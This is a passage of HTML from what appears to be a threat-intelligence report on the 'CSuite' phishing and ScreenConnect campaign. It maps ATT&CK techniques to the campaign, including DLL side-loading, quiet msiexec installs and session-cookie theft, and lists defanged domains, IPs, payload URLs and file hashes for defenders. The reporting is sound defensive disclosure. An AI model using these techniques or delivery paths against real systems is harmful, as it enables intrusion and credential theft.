           <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A6\"\n                    data-col-index=\"0\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Establish accounts: cloud accounts\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B6\"\n                    data-col-index=\"1\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1585.003\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C6\"\n                    data-col-index=\"2\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CSuite\u00a0used two Cloudflare accounts with connected API keys to front and automate its domains\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A7\"\n                    data-col-index=\"0\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Stage capabilities: upload malware\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B7\"\n                    data-col-index=\"1\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1608.001\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C7\"\n                    data-col-index=\"2\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CSuite\u00a0used archives on its shared-hosting account and installers committed to a public code-hosting account to deliver payloads\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A8\"\n                    data-col-index=\"0\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Phishing:\u00a0spearphishing\u00a0link\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B8\"\n                    data-col-index=\"1\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1566.002\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C8\"\n                    data-col-index=\"2\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CSuite\u00a0used the Adobe Sender module to dispatch 1,593 share invitations from hijacked Adobe Document Cloud tenants\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A9\"\n                    data-col-index=\"0\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Drive-by compromise\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B9\"\n                    data-col-index=\"1\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1189\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C9\"\n                    data-col-index=\"2\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CSuite\u00a0used a synthetic click on an\u00a0<a download>\u00a0element to start the archive download on page load\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A10\"\n                    data-col-index=\"0\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        User execution: malicious file\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B10\"\n                    data-col-index=\"1\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1204.002\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C10\"\n                    data-col-index=\"2\"\n                    data-row-index=\"9\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CSuite\u00a0used counterfeit installation instructions to have the victim extract and run the archived executable\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A11\"\n                    data-col-index=\"0\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Masquerading: match legitimate name\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B11\"\n                    data-col-index=\"1\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1036.005\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C11\"\n                    data-col-index=\"2\"\n                    data-row-index=\"10\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CSuite\u00a0used the renamed Adobe binarySSAStatement.exe\u00a0to present the loader as a financial statement\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A12\"\n                    data-col-index=\"0\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Hijack execution flow: DLL\u00a0side-loading\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B12\"\n                    data-col-index=\"1\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1574.001\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C12\"\n                    data-col-index=\"2\"\n                    data-row-index=\"11\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        SSAStatement.exe\u00a0used a substitutedmsvcp140.dll\u00a0in its own directory to execute attacker code\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A13\"\n                    data-col-index=\"0\"\n                    data-row-index=\"12\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Subvert trust controls: code signing\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B13\"\n                    data-col-index=\"1\"\n                    data-row-index=\"12\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1553.002\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C13\"\n                    data-col-index=\"2\"\n                    data-row-index=\"12\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CSuite\u00a0used a valid Adobe DigiCert signature on the loader to pass signature and reputation checks\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A14\"\n                    data-col-index=\"0\"\n                    data-row-index=\"13\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Command and scripting interpreter: Windows command shell\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B14\"\n                    data-col-index=\"1\"\n                    data-row-index=\"13\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1059.003\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C14\"\n                    data-col-index=\"2\"\n                    data-row-index=\"13\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CSuite\u00a0used batch droppers that test for administrative rights with\u00a0fltmc\u00a0or\u00a0net session\u00a0and then install the agent silently\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A15\"\n                    data-col-index=\"0\"\n                    data-row-index=\"14\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Command and scripting interpreter: PowerShell\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B15\"\n                    data-col-index=\"1\"\n                    data-row-index=\"14\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1059.001\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C15\"\n                    data-col-index=\"2\"\n                    data-row-index=\"14\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        The droppers used\u00a0Start-Process -Verb RunAs\u00a0to self-elevate andNet.WebClient.DownloadFile\u00a0to fetch the agent package\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A16\"\n                    data-col-index=\"0\"\n                    data-row-index=\"15\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Ingress tool transfer\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B16\"\n                    data-col-index=\"1\"\n                    data-row-index=\"15\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1105\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C16\"\n                    data-col-index=\"2\"\n                    data-row-index=\"15\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        The droppers pulled agent packages from the vendor\u2019s own cloud and from raw URLs on a public code-hosting account\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A17\"\n                    data-col-index=\"0\"\n                    data-row-index=\"16\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        System binary proxy execution:\u00a0msiexec\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B17\"\n                    data-col-index=\"1\"\n                    data-row-index=\"16\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1218.007\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C17\"\n                    data-col-index=\"2\"\n                    data-row-index=\"16\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        The newer batch dropper handed\u00a0msiexec\/i\u00a0an HTTPS URL with\u00a0\/quiet \/norestart, installing the\u00a0ScreenConnect\u00a0client without staging a file on disk\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A18\"\n                    data-col-index=\"0\"\n                    data-row-index=\"17\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Remote access software\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B18\"\n                    data-col-index=\"1\"\n                    data-row-index=\"17\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1219\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C18\"\n                    data-col-index=\"2\"\n                    data-row-index=\"17\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CSuite\u00a0used a\u00a0ScreenConnect\u00a0client bound to\u00a0instance-t7o41i-relay[.]screenconnect[.]com\u00a0to take control of the host\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A19\"\n                    data-col-index=\"0\"\n                    data-row-index=\"18\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Boot or logon\u00a0autostart: authentication package\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B19\"\n                    data-col-index=\"1\"\n                    data-row-index=\"18\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1547.002\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C19\"\n                    data-col-index=\"2\"\n                    data-row-index=\"18\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        ScreenConnect\u00a0usedScreenConnect.WindowsAuthenticationPackage.dll\u00a0appended to LSA to load at boot\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A20\"\n                    data-col-index=\"0\"\n                    data-row-index=\"19\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Modify authentication process\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B20\"\n                    data-col-index=\"1\"\n                    data-row-index=\"19\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1556\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C20\"\n                    data-col-index=\"2\"\n                    data-row-index=\"19\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        ScreenConnect\u00a0used a registered credential provider CLSID to capture interactive logon\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A21\"\n                    data-col-index=\"0\"\n                    data-row-index=\"20\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Steal web session cookie\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B21\"\n                    data-col-index=\"1\"\n                    data-row-index=\"20\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1539\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C21\"\n                    data-col-index=\"2\"\n                    data-row-index=\"20\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CSuite\u00a0used per-domain cookie capture modes to take over authenticated Office 365 sessions\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A22\"\n                    data-col-index=\"0\"\n                    data-row-index=\"21\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Multi-factor authentication request generation\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B22\"\n                    data-col-index=\"1\"\n                    data-row-index=\"21\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1621\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C22\"\n                    data-col-index=\"2\"\n                    data-row-index=\"21\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CSuite\u00a0used device-code landing pages onmaillive[.]sbs\u00a0to drive victims through an attacker-initiated approval\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A23\"\n                    data-col-index=\"0\"\n                    data-row-index=\"22\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Exfiltration over web service\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B23\"\n                    data-col-index=\"1\"\n                    data-row-index=\"22\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1567\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C23\"\n                    data-col-index=\"2\"\n                    data-row-index=\"22\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        The lure pages used a messaging bot API to report each visitor, called from the victim browser in the static build and from the web server in the PHP build\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A24\"\n                    data-col-index=\"0\"\n                    data-row-index=\"23\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Remote email collection\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B24\"\n                    data-col-index=\"1\"\n                    data-row-index=\"23\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1114.002\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C24\"\n                    data-col-index=\"2\"\n                    data-row-index=\"23\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        The operator used the remote-desktop host207.189.19[.]40:26688\u00a0to work inside captured mailboxes by hand\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A25\"\n                    data-col-index=\"0\"\n                    data-row-index=\"24\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Multi-hop proxy\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B25\"\n                    data-col-index=\"1\"\n                    data-row-index=\"24\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1090.003\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C25\"\n                    data-col-index=\"2\"\n                    data-row-index=\"24\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CSuite\u00a0used Cloudflare\u00a0workers.dev\u00a0reverse proxies to hide the origin of its lure domains\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A26\"\n                    data-col-index=\"0\"\n                    data-row-index=\"25\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Virtualisation\u00a0and sandbox evasion\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B26\"\n                    data-col-index=\"1\"\n                    data-row-index=\"25\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1497\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C26\"\n                    data-col-index=\"2\"\n                    data-row-index=\"25\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        The kit used honeypot fields, automation checks, a named list of security-vendor and scanner signatures, and a resource-exhaustion loop armed on a 30-to-120-second timer to stall automated analysis\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A27\"\n                    data-col-index=\"0\"\n                    data-row-index=\"26\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Execution guardrails\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B27\"\n                    data-col-index=\"1\"\n                    data-row-index=\"26\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1480\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C27\"\n                    data-col-index=\"2\"\n                    data-row-index=\"26\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        The gate used address blocklists, two\u00a0\/24ranges, a fingerprint ban\u00a0list\u00a0and a six-country geographic filter to serve the phishing page only to visitors that passed every check\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A28\"\n                    data-col-index=\"0\"\n                    data-row-index=\"27\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Input capture: web portal capture\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B28\"\n                    data-col-index=\"1\"\n                    data-row-index=\"27\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1056.003\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C28\"\n                    data-col-index=\"2\"\n                    data-row-index=\"27\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        CSuite\u00a0used\u00a0providers\/chameleon.php\u00a0to take the password twice and then drop the victim on their real corporate site\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A29\"\n                    data-col-index=\"0\"\n                    data-row-index=\"28\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Impersonation\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B29\"\n                    data-col-index=\"1\"\n                    data-row-index=\"28\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        T1656\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C29\"\n                    data-col-index=\"2\"\n                    data-row-index=\"28\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        The Chameleon page used logos and a live website screenshot pulled from public branding services to dress one credential form as the target company\u2019s own portal\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-381'>\ntable#wpdtSimpleTable-381{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-381 td, table.wpdtSimpleTable381 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<h2 class=\"wp-block-heading\">IOCs <\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Highest-value indicators <\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\/m\/js\/utils.js \u2014 URI path shared by every page of the kit, unchanged for seven months across 170 domains <\/li>\n\n\n\n<li>url:&#8221;\/m\/js\/utils.js$&#8221; and url:&#8221;\/e-sign_files\/Icon-pdf-file-svg.png$&#8221; OR url:&#8221;eDocusign.php$&#8221; OR url:&#8221;\/e-sign.php$&#8221; \u2014 the two sandbox-telemetry queries that enumerate the static export and the PHP build <\/li>\n\n\n\n<li>instance-t7o41i-relay[.]screenconnect[.]com \u2014 remote-management command channel <\/li>\n\n\n\n<li>\/.DocuSign\/ with the file set index.php, eDocusign.php, e-sign.php, download.php, settings.php \u2014 the PHP build, deployed both at document root and under a nested review.signal-doc.cloud\/ path <\/li>\n\n\n\n<li>hxxps:\/\/localcontex[.]online\/AdobecloudReader\/pdf_Reader_en_install.msi, hxxps:\/\/localcontex[.]online\/review.signal-doc.cloud\/.DocuSign\/ \u2014 current delivery paths of the management-agent payload <\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Domains <\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>gddfzxa[.]online <\/li>\n\n\n\n<li>gddfzxa[.]online <\/li>\n\n\n\n<li>ghs.coorpes[.]com <\/li>\n\n\n\n<li>greaterheights[.]sbs <\/li>\n\n\n\n<li>mmswerod[.]sbs <\/li>\n\n\n\n<li>greenbullet[.]ba <\/li>\n\n\n\n<li>emsafetoproceedtaward[.]top <\/li>\n\n\n\n<li>maillive[.]sbs <\/li>\n\n\n\n<li>arubanetworks-inc[.]com <\/li>\n\n\n\n<li>sharepointer-dr[.]com <\/li>\n\n\n\n<li>stubborn-academy[.]icu <\/li>\n\n\n\n<li>corporate-sync-gate[.]net <\/li>\n\n\n\n<li>legacy-bridge-node[.]net <\/li>\n\n\n\n<li>conferenceuniverses[.]buzz <\/li>\n\n\n\n<li>zerichoproject[.]org <\/li>\n\n\n\n<li>pdfsecurtoview[.]sbs, pdfsecurtoview[.]cfd, pdfsecurtoview[.]info <\/li>\n\n\n\n<li>pdfsecurtoview365[.]sbs, pdfsecurtoview365[.]cfd, pdfsecurtoviewsuite[.]sbs <\/li>\n\n\n\n<li>pdfsecurtoviewothers[.]sbs, pdfsecurtoviewothers[.]cfd <\/li>\n\n\n\n<li>docsendsr[.]online, docseed[.]online, docseedn[.]online <\/li>\n\n\n\n<li>documentsonitustechnologies[.]sbs, downloaddocumentcontechbuilding[.]sbs, documentationreviewdocument2026review[.]sbs <\/li>\n\n\n\n<li>selectivelife01[.]sbs, pikecac[.]cfd, qrcoderuser[.]cfd, fincapitalxcom[.]cfd <\/li>\n\n\n\n<li>allshore-io[.]cam, sharerpoint[.]cam, voicermailsmessager[.]cam, keepsecurepasserword[.]cam <\/li>\n\n\n\n<li>giiro[.]net, expressdocumentdelivery[.]org, aviationpioneers[.]info <\/li>\n\n\n\n<li>ambitiousaboutautismorguk[.]com, solarengyloanfunds[.]com \u2014 lookalike domains of a UK charity and of a victim organisation, used for \/verify\/ credential stages <\/li>\n\n\n\n<li>checkingweb[.]net \u2014 counterfeit PDF viewer serving the licensing-themed batch dropper <\/li>\n\n\n\n<li>cellumbio[.]com \u2014 sending domain of the licensing-themed lure mail <\/li>\n\n\n\n<li>mail.wirsann[.]com, mail.boratlongyear[.]com \u2014 lure sending relays <\/li>\n\n\n\n<li>sqrd.m365.sharedfile[.]online, sqrd.m36s.sharedfile[.]tech, shared.file.nn365[.]cloud, shared.note.nn365[.]cloud, shared.file.cnrv[.]tech, file.shared.cnrv[.]tech,loq.file.cnrv[.]online, m36nx.file.cnrv[.]online, file.shared.m36s[.]site, file.shared.myscript[.]sbs \u2014 Microsoft 365 document lures on the token-fragment paths <\/li>\n\n\n\n<li>usoffweb69[.]top, netcoxweb[.]top, coxnetwork[.]top, doc.lauraice[.]xyz, docuread[.]im, docusign.web-viewww[.]es \u2014 DocuSign-themed hosts serving the PHP build under nested \/doc\/ and\/dc\/ paths <\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Addresses <\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>207.189.19[.]40:26688 \u2014 remote-desktop foothold <\/li>\n\n\n\n<li>185.174.102[.]34 \u2014 GSuite panel <\/li>\n\n\n\n<li>190.123.46[.]122 \u2014 kit origin server <\/li>\n\n\n\n<li>188.127.227[.]18, 141.133.174[.]208 \u2014 sending relays <\/li>\n\n\n\n<li>91.92.41[.]114:8041, 212.189.40[.]73:8041, 155.254.26[.]180:8041, 64.204.180[.]203:8040 \u2014 self-hosted ScreenConnect servers behind the staged installers <\/li>\n\n\n\n<li>31.57.147[.]133, 31.57.38[.]60, 102.67.5[.]132, 191.101.130[.]42, 102.88.167[.]38 \u2014 operator addresses <\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Storage buckets <\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>btconnect-com, totalmfgsys-com, vistagrandedairy-com, docsend-765676, docsends-756776, gsuitis-07971, invite-67976, rigibore-8989 <\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">Files <\/h3>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-380\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"3\"\n           data-rows=\"30\"\n           data-wpID=\"380\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        SHA-256\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        File\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"C1\"\n                    data-col-index=\"2\"\n                    data-row-index=\"0\"\n                    style=\" width:33.333333333333%;                    padding:10px;\n                    \"\n                    >\n                                        Role\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        ae7af8159f06a059411411e5e816b415e32213371fb085ced1dc5679a0112c48\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        AdobePdf_Reader.zip\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C2\"\n                    data-col-index=\"2\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Payload archive A\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        b59e7cb539c0b81a58f60d5ca0ed3df62d1856b29076720efbb7dd9411d99eec\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        ScreenConnect.ClientSetup.msi\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"C3\"\n                    data-col-index=\"2\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Remote-management client\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        9a03a0b65b2a2d27b348e583237d512a55f3f8287989abf7ffca0285d5f8e43d\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Q4_Report062.zip\u00a0                    